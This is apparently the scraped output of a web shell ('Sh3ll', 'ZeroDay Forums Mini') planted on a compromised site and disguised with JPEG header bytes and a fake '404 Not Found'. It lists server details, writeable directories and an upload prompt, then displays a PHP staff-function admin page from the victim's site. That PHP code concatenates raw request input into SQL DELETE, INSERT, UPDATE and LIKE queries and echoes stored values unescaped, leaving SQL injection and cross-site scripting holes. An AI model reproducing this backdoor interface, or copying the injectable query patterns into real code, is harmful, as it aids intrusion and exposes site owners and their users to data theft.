ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/truyentranh/code/management/staff_function/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/truyentranh/code/management/staff_function/index.php
<?php
global $v_company_id,$token,$r_module;
$txt_action_name='';
function staff_function_selected($id,$parentid,$aCats,$res,$sep){
    foreach($aCats as $val){
        if($val['staff_function_parentid']==$parentid){
            if($id==$val['staff_function_id']){
                $re = '<option value="'.$val['staff_function_id'].'" selected> + '.$sep.' '.$val['staff_function_name'].' ('.$val['staff_function_pos'].')</option>';
            }else{
                $re = '<option value="'.$val['staff_function_id'].'"> + '.$sep.' '.$val['staff_function_name'].' ('.$val['staff_function_pos'].')</option>';
            }
            $res .= staff_function_selected($id,$val['staff_function_id'],$aCats,$re,$sep.' + ');
        }
    }
    return $res;
}
function tree_menu($parentid,$arr,$sep){
    if(!is_null($arr)) {
        foreach ($arr as $key => $v) {
            if ($v['staff_function_parentid'] == $parentid) {
                $arr[$key]['staff_function_name'] = $sep . ' ' . $arr[$key]['staff_function_name'];
                $arr = tree_menu($v['staff_function_id'], $arr, $sep . " + ");
            }
        }
    }
    return $arr;
}
$v_user_type = isset($CORE->input['txt_user_type']) ? trim($CORE->input['txt_user_type']) : 'cbnv';

$company_id = intval($token->company_id);
if(empty($company_id)){
    return;
}
$CORE->page_title = ($v_lang=='en')?'Staff\'s function':'Chức vụ';
$type = isset($CORE->input['type']) ? $CORE->input['type'] : '';
switch ($type){
    case 'delete':
        $staff_function_id = $CORE->input['staff_function_id'];
        $DB->query("DELETE FROM tb_staff_function WHERE staff_function_parentid='".$staff_function_id."' ");
        $DB->query("DELETE FROM tb_staff_function WHERE staff_function_id='".$staff_function_id."' ");
        $print->refresh('?act=management&code=staff_function');
        exit();
        break;
    case 'post' :
        $staff_function_id = isset($CORE->input['staff_function_id']) ? intval($CORE->input['staff_function_id']) : 0;
        $row_check = $DB->get_colum_tb('tb_staff_function');
        if(isset($_GET['staff_function_id'])){
            $row_check = $_GET;
        }
        if($staff_function_id>0) {
            $row_check = $DB->fetch_row($DB->query("SELECT * FROM `tb_staff_function` WHERE `staff_function_id` = '$staff_function_id' "));
            $v_user_type = isset($row_check['user_type']) ? trim($row_check['user_type']) : 'cbnv';
        }
        $aCats = array();
        $op_menu = '';

        $query_menu = $DB->query("SELECT * FROM tb_staff_function WHERE staff_function_id != '$staff_function_id' AND company_id='$v_company_id' ");
        while($rows_menu = $DB->fetch_row($query_menu))
        {
            $aCats[] = $rows_menu;
        }
        $op_menu = staff_function_selected($row_check['staff_function_parentid'],0,$aCats,'<option value="0"> + ROOT</option>','');
        $html_block = 'post';
        if(isset($CORE->input['submitbt'])){
            $f = $CORE->input['f'];
            $v_user_type = $f['txt_user_type'];
            if($f['staff_function_name']!='') {
                if(intval($f['staff_function_id'])>0){
                    $row_check_code = $DB->fetch_row($DB->query("SELECT * FROM tb_staff_function WHERE staff_function_name='".$f['staff_function_name']."' AND staff_function_id<>'".$f['staff_function_id']."' AND company_id='".$CORE->v_company_id."' "));
                    if($row_check_code){
                        $print->refresh('index.php?act=management&code=staff_function&type=post&'.http_build_query($f),'!Error: Staff function name is exist',5);
                    }
                    $DB->query("UPDATE tb_staff_function SET user_type='" . $v_user_type . "', staff_function_name='".$f['staff_function_name']."' ,staff_function_ename='".$f['staff_function_ename']."', staff_function_parentid='" . $f['staff_function_parentid'] . "',staff_function_pos='" . $f['staff_function_pos'] . "', staff_function_status='" . $f['staff_function_status'] . "'  WHERE staff_function_id='".intval($f['staff_function_id'])."'");
                    $v_staff_function_id = intval($f['staff_function_id']);
                }else {
                    $row_check_code = $DB->fetch_row($DB->query("SELECT * FROM tb_staff_function WHERE staff_function_name='" . $f['staff_function_name'] . "' AND company_id='".$CORE->v_company_id."' "));
                    if($row_check_code){
                        $print->refresh('index.php?act=management&code=staff_function&type=post&'.http_build_query($f),'!Error: Staff function name is exist',5);
                    }
                    $DB->query("INSERT INTO `tb_staff_function` ( `company_id`,`user_type`, `staff_function_name`, `staff_function_ename`,`staff_function_parentid`, `staff_function_pos`, `staff_function_status`) VALUES ('".$CORE->v_company_id."','" . $v_user_type . "', '" . $f['staff_function_name'] . "', '" . $f['staff_function_ename'] . "', '" . $f['staff_function_parentid'] . "', '" . $f['staff_function_pos'] . "', '" . $f['staff_function_status'] . "');");
                    $v_staff_function_id = $DB->insert_id();
                }
                $print->refresh('index.php?act=management&code=staff_function');
            }
        }
        break;
    default:
        $keyword = isset($CORE->input['fkeyword']) ? $CORE->input['fkeyword'] : '';
        $where = " WHERE company_id='$v_company_id' AND user_type='".$v_user_type."' ";
        if($keyword!='')
        {
            $where .=  " AND (staff_function_name LIKE '%".$keyword."%' or staff_function_ename LIKE '%".$keyword."%') ";
        }
        $pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
        $pageSize = 20;
        $from = (($pageNum * $pageSize) - $pageSize);
        $t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_staff_function ".$where));
        $total = $t['total'];
        $totalPage = ceil($total / $pageSize);
        $query = $DB->query("SELECT * FROM tb_staff_function ".$where." ORDER BY `staff_function_pos` ASC LIMIT $from, $pageSize");
        while($row = $DB->fetch_row($query))
        {
            $arr[] = $row;
        }
        if(!empty($arr)) {
            $list_company = tree_menu(0, $arr, '+');
        }
        $nav = $print->Pagination($totalPage,$pageNum,'menu','index.php?act=management&code=staff_function&fkeyword='.$keyword);
        $txt_list_company = '';
        $css_active = '';
        if(!empty($list_company)) {
            foreach ($list_company as $val) {
                if($val['staff_function_status']=='active') {
                    $css_active = 'badge badge-success';
                }else{
                    $css_active = 'badge badge-danger';
                }
                $txt_list_company .= '<tr>
                                            <td><input name="txt_pos['.$val['staff_function_id'].'][]" class="form-control" type="text" value="' . $val['staff_function_pos'] . '" style="width:100px;"></td>
                                            <td>' . $val['staff_function_name'] . '</td>
                                            <td>' . $val['staff_function_ename'] . '</td>
                                            <td><span class="'.$css_active.'">' . $val['staff_function_status'] . '</span> </td>
                                            <td>
                                                <a href="?act=management&code=staff_function&type=post&staff_function_id=' . $val['staff_function_id'] . '" class="badge badge-success">Edit</a>
                                                <a href="?act=management&code=staff_function&type=delete&staff_function_id=' . $val['staff_function_id'] . '" class="badge badge-danger" onclick="return confirm(\'Are you sure want to delete?\');">Delete</a>
                                            </td>
                                        </tr>';
            }
        }
        $html_block = 'list';
        $type2 = isset($CORE->input['type2']) ? $CORE->input['type2'] : '';
        if($type2=='update_pos'){
            if(isset($CORE->input['txt_pos'])) {
                $pos = $CORE->input['txt_pos'];
                foreach ($pos as $key=>$val){
                    $DB->query("UPDATE tb_staff_function SET staff_function_pos = '".$val[0]."' WHERE staff_function_id='$key' ");
                }
                unset($pos);
            }
            $print->refresh('index.php?act=management&code=staff_function');
        }
        break;
}

?>
<?php
include ROOT_PATH . 'modules/blocks/header3.php';
?>
<div class="container-fluid page-body-wrapper">
    <div class="main-panel">
        <div class="content-wrapper">
            <div class="card">
                <div class="card-body">

                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb breadcrumb-custom bg-inverse-info">
                            <li class="breadcrumb-item"><a href="index.php">Home</a></li>
                            <li class="breadcrumb-item"><a href="?act=<?php echo $CORE->input['act'];?>"><?php echo $lang[$CORE->input['act']];?></a></li>
                            <li class="breadcrumb-item"><a href="?<?php echo $r_module['module_url'];?>"><?php echo $CORE->page_title;?></a></li>
                            <li class="breadcrumb-item active" aria-current="page"> <?php echo $txt_action_name;?> </li>
                        </ol>
                    </nav>

    <div class="container-fluid">
        <div class="row">
            <div class="col-12">
                <?php
                if($html_block=='post'){
                    ?>
                    <div class="card card-outline-info">
                        <div class="card-header">
                            <h4 class="m-b-0"><?php echo $lang['cap-nhat-chuc-vu'];?> <?php echo $arr_user_type[$v_user_type][$v_lang];?></h4>
                        </div>
                        <div class="card-body">
                            <form action="?act=management&code=staff_function&type=post" method="post" enctype="multipart/form-data">
                                <input type="hidden" value="<?php echo $v_user_type;?>" name="f[txt_user_type]">
                                <input type="hidden" value="<?php echo $row_check['staff_function_id'];?>" name="f[staff_function_id]">
                                <div class="form-body">
                                    <div class="row p-t-20">
                                        <div class="col-md-6">
                                            <div class="form-group">
                                                <label class="control-label">Staff's function name</label>
                                                <input type="text" class="form-control" placeholder="" name="f[staff_function_name]" value="<?php echo $row_check['staff_function_name'];?>">
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                            <div class="form-group">
                                                <label class="control-label">Staff's function english name</label>
                                                <input type="text" class="form-control" name="f[staff_function_ename]" value="<?php echo $row_check['staff_function_ename'];?>">
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col-md-12">
                                            <div class="form-group">
                                                <label class="control-label">Function sub of:</label>
                                                <select class="form-control" name="f[staff_function_parentid]">
                                                    <?php echo $op_menu;?>
                                                </select>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col-md-6">
                                            <div class="form-group">
                                                <label class="control-label">Pos</label>
                                                <input type="text" class="form-control" placeholder="" name="f[staff_function_pos]" value="<?php echo $row_check['staff_function_pos'];?>">
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                            <div class="form-group">
                                                <label class="control-label">Status:</label>
                                                <select class="form-control" name="f[staff_function_status]">
                                                    <option value="active" <?php if($row_check['staff_function_status']!='' and $row_check['staff_function_status']=='active'){ echo 'selected';}?>>Active</option>
                                                    <option value="pending" <?php if($row_check['staff_function_status']!='' and $row_check['staff_function_status']=='pending'){ echo 'selected';}?>>Pending</option>
                                                </select>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <div class="form-actions">
                                    <button type="submit" class="btn btn-success" name="submitbt"> <i class="fa fa-check"></i> Save</button>
                                    <button type="button" class="btn btn-inverse" onclick="location.href='index.php?act=management&code=staff_function'">Cancel</button>
                                </div>
                            </form>
                        </div>
                    </div>
                <?php } ?>
                <?php
                if($html_block=='list'){
                    ?>
                    <div class="card">
                        <div class="card-body">
                            <div class="template-demo">
                                <div class="dropdown">
                                    <button class="btn btn-danger dropdown-toggle" type="button" id="dropdownMenuButton_cap" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                                        <?php echo $arr_user_type[$v_user_type][$v_lang];?>
                                    </button>
                                    <div class="dropdown-menu" aria-labelledby="dropdownMenuButton_cap">
                                        <?php echo $func_company->get_user_type();?>
                                    </div>
                                </div>
                            </div>
                            <div class="mt-2">
                                <div class="d-flex">
                                    <div class="mr-auto">
                                        <div class="form-group">
                                            <a href="?act=management&code=staff_function&type=post&txt_user_type=<?php echo $v_user_type;?>" class="btn btn-primary btn-sm"><i class="fa fa-plus"></i> Add New
                                            </a>
                                            <a href="javascript:void(0);" class="btn btn-primary btn-sm" id="update_pos"><i class="fa fa-bars"></i> Update pos
                                            </a>
                                        </div>
                                    </div>
                                    <div class="ml-auto">
                                        <div class="form-group">
                                            <input id="demo-input-search2" type="text" placeholder="Search" autocomplete="off" class="module_title_search" value="<?php echo $keyword;?>">
                                            <input type="hidden" value="act=management&code=staff_function" id="txt_code_search">
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <form action="" method="post" id="form_quick_update">
                                <input type="hidden" name="type2" value="">
                            <table class="table table-bordered color-table info-table">
                                <thead>
                                <tr>
                                    <th>Order</th>
                                    <th>Staff's function name</th>
                                    <th>Staff's function english name</th>
                                    <th>Status</th>
                                    <th>#</th>
                                </tr>
                                </thead>
                                <tbody>
                                <?php echo $txt_list_company;?>
                                </tbody>
                            </table>
                            </form>
                            <nav>
                                <ul class="pagination d-flex justify-content-center pagination-success">
                                    <?php echo $nav;?>
                                </ul>
                            </nav>
                        </div>
                    </div>
                <?php } ?>

            </div>
        </div>
    </div>

                </div>

            </div>
        </div>
    </div>

</div>
<?php
include ROOT_PATH . 'modules/blocks/footer3.php';
?>

ZeroDay Forums Mini